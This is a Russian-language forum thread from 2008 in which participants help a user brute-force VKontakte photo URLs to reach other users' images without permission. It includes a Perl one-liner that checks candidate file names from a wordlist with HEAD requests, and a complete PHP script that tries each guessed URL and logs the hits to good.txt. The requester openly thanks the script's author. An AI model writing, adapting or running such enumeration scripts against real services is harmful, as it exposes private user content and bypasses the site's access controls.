PDA

Просмотр полной версии : Помогите с брутом!


astarot
10.04.2008, 22:46
Хочу добраться до ресурсов сайта,а в программировании не очень :( . Брут не логин/пароль,а перебор через строку заголовка. Т.е. http://cs.какой-нить сайт.ru/12345/12345/x_'это надо брутить'.jpg . Чтоб,если есть ресурс,он строку заголовка записывал в файл,если нет страницы,брутил дальше. Помгите написать,pls!!

astarot
10.04.2008, 23:15
То что надо брутить- 9 значный код,который содержит цифры и маленькие буквы латинского регистра.

ZET36
10.04.2008, 23:22
дай сайт который нужно брутить. нужно сравнить строки ответа сервера если файл присутсвует и отсутсвует. точнее http://cs.какой-нить сайт.ru/12345/12345/x_присутсвующий файл.jpg

.:EnoT:.
10.04.2008, 23:27
я знаю что ты хочешь брутить, фотки контакта))
Сам щас собираюсь сделать такую фень :)

astarot
10.04.2008, 23:33
Совершенноверно:)) Контакт опять покоя не дает. Только там после cs еще числа различные стоят,надо будет как задаваемый параметр делать.

.:EnoT:.
10.04.2008, 23:39
Лично у меня сначала идея была банальна...брать md5-хеш картинки, после чего брутить код и брать тоже md5 картинки и сравнивать.....только сразу понял что хеши будут разные, т.к. картинки разного размера. Поэтому щас думаю над распознаванием картинок...

astarot
10.04.2008, 23:44
в смысле распознаванием? т.е если есть картинка,то заголовок сохраняем?

ZET36
10.04.2008, 23:53
да. дай пример такой картинки

astarot
10.04.2008, 23:55
А можно сделать наоборот? Т.е, не картинку палить,а что-то вроде 'страница недоступна'?

astarot
10.04.2008, 23:57
Пример картинки: http://cs62.vkontakte.ru/u2346858/4564087/x_a12fa5f3f2.jpg

Pernat1y
11.04.2008, 00:07
а не проще в том-же DownloadMaster добавить группу закачек по маске?

ZET36
11.04.2008, 00:13
хы странно что то на контакт сокет не хочет открывать

<?php
$fp = fsockopen("www.cs62.vkontakte.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET http://www.cs62.vkontakte.ru/u2346858/4564087/x_a12fa5f3f2.jpg HTTP/1.1\r\n";
$out .= "Host: www.yandex.ru\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>


щас попробую через fopen

-Hormold-
11.04.2008, 00:23
$out .= "Host: www.yandex.ru\r\n";
улыбнуло =)

demonoid
11.04.2008, 00:58
perl -MLWP::Simple -ne "chomp;print if head(\"http://cs62.vkontakte.ru/u2346858/4564087/$_.jpg\");" dict.txt

dict.txt

x_a12aa5f3f9
a_011fyjf3f8
x_a12fa5f3f2
b_112ga5f3f7
c_215ga5fas6

C:\>perl -MLWP::Simple -ne "chomp;print if head(\"http://....jpg\");" dict.txt
x_a12fa5f3f2
спешил ..=)

ZET36
11.04.2008, 01:02
держи




<?php


$spisok = "spisok.txt";
$zergood = 'good.txt';
for ($doscriot=0;$doscriot<=count($contents);$doscriot++)
{
$spisok = "spisok.txt";

$handle = fopen($spisok,"r");
$contents = fread($handle,filesize($spisok));
fclose($handle);
$contents = explode("\n",$contents);
$resurs=trim($contents[$doscriot]);


$fayl="http://cs62.vkontakte.ru/u2346858/4564087/x_".$resurs.".jpg";

if (!$udacha = fopen($fayl, "rb")) {
echo "файла $fayl нет";

}
else
{
$somecontent = "$fayl\n";
$udacha = fopen($zergood, 'a');
fwrite($udacha, $somecontent);
fclose($udacha);
}

}

?>

............................
spisok.txt список комббинаций по типу
http://cs62.vkontakte.ru/u2346858/4564087/x_a12fa5f3f2.jpg

тоесть в тестовике должны быть в столбик омбинации например
a12fa5f3f2
b323eg23
j34h23432

итд
.............................

good.txt туда будут записываться удачные комбинации права на файл 777
................................

и ещё недочёт скрипт будет писать ошибку при неудачнок комбинации. забей на это. запускай страницу со скриптом и закрывай. ложись спать. как весь список будет перебручен результаты запишет в файл good.txt

ZET36
11.04.2008, 01:15
$out .= "Host: www.yandex.ru\r\n";
улыбнуло =)
хых с кем не бывает)) к стати и с хостом www.cs62.vkontakte.ru сокет не хочет открываться. странно

astarot
11.04.2008, 22:58
Zet36 огромное спасибо!!! Оч.сильно выручил!!!